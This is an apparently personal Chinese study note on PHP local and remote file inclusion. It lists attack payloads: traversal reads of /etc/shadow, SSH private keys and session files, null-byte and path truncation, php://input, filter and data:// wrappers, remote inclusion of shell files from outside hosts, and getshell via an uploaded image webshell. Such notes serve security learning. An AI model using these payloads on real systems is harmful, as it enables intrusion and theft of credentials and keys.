今天面试被问到这个了,已经是很久以前用到了,脑子一时短路,一点也想不起来,今天想捋一遍
文件包含是应用程序(在这里就是指php函数引入文件时)未对要引用的文件做合理的校验,从而恶意的使应用程序操作了意料之外的文件,将会导致文件泄露,更有甚者会导致恶意代码的注入。
先介绍一下本地文件包含LFI(Local File Include)
举个最简单的例子,新建一个php文件,命名为index.php,写下如下代码。
在他的上级目录中有一个info.php文件,内容如下:
打开网页,运行:http://127.0.0.1/index.php?func=info.php
出现如下页面
假如我是攻击者,我已经上传了一张图片马,一直找不到合适的环境来运行图片马,此时就可以利用此漏洞。
在此我上传了一个名为1.gif的图片马,访问此链接:http://127.0.0.1/index.php?func=1.gif
或者直接菜刀连接,我的图片马密码为cmd
连接成功,这里我就不放图了。这是根据文件包含来getshell的一种方法。
php包含外部文件的函数除了include()之外,还有include_once()、require()、require_once()
加once的区别就不说了,include()函数在一个文件存在错误时,程序不会中断执行,只会弹出一个警告,如下图
require():一般放在文件的最前面,程序在执行前就会先导入要引用的文件。但当文件存在错误时,执行就会中断。并返回一个致命错误。
这里报错有可能会爆出绝对路径,有用的话可以记录一下。
如果自己不能上传木马,那也可以利用此漏洞查看敏感信息
获取web目录或者其他的配置文件
xxx.php?func=../../../httpd.conf
获取上传的附件
xxx.php?func=../../../xx.file
读取session文件
xxx.php?func=../../../tmp/sess_tnrdo
若是文件包含有限制,比如只能包含htm类的文件
正常情况下的使用是在浏览器中输入:http://127.0.0.1/index.php?func=info (我有一个名为info.htm的文件)
但如果我们还是想包含php文件,就要使用截断来包含
使用%00截断(需要magic_quotes_gpc=off且PHP<5.3.4)
xxx.php?func=../../info.php%00
路径长度截断(PHP<5.2.8 Linux文件名长于4096,windows 大于256)
xxx.php?func=../../../etc/pwd./[...]././
点号截断
xxx.php?func=../../boot.ini/...[...]...
敏感文件:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/known_hosts
/etc/shadow
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/proc/config.gz
接下来说远程文件包含RFI(Remote File Inclusion),远程文件包含有三大条件:
1、All_url_fopen=On(默认开启)
2、Allow_url_include=On(默认关闭)
3、被包含的文件遍历时没有目录限制
远程服务器存放一个不被服务器解析的文件
访问:http://www.xx.com/index.php?func=http://www.xx.com/1.txt
利用php流input
xxx.php?func=php://input
利用php流filter
xxx.php?func=php://filter/convert/resource=index.php
利用data URLs
xxx.php?func=data://text/plain;base64,URL(可以远程包含一句话木马链接)
利用xss执行任意代码
xxx.php?func=http://127.0.0.1/path/xss.php?xss=phpcode
有限制的远程文件包含
基础代码与本地文件包含相同
xxx.php?func=http://www.baidu.com/shell
xxx.php?func=http://www.baidu.com/shell.txt?
xxx.php?func=http://www.baidu.com/shell.txt%23
xxx.php?func=\evilshare\shell.php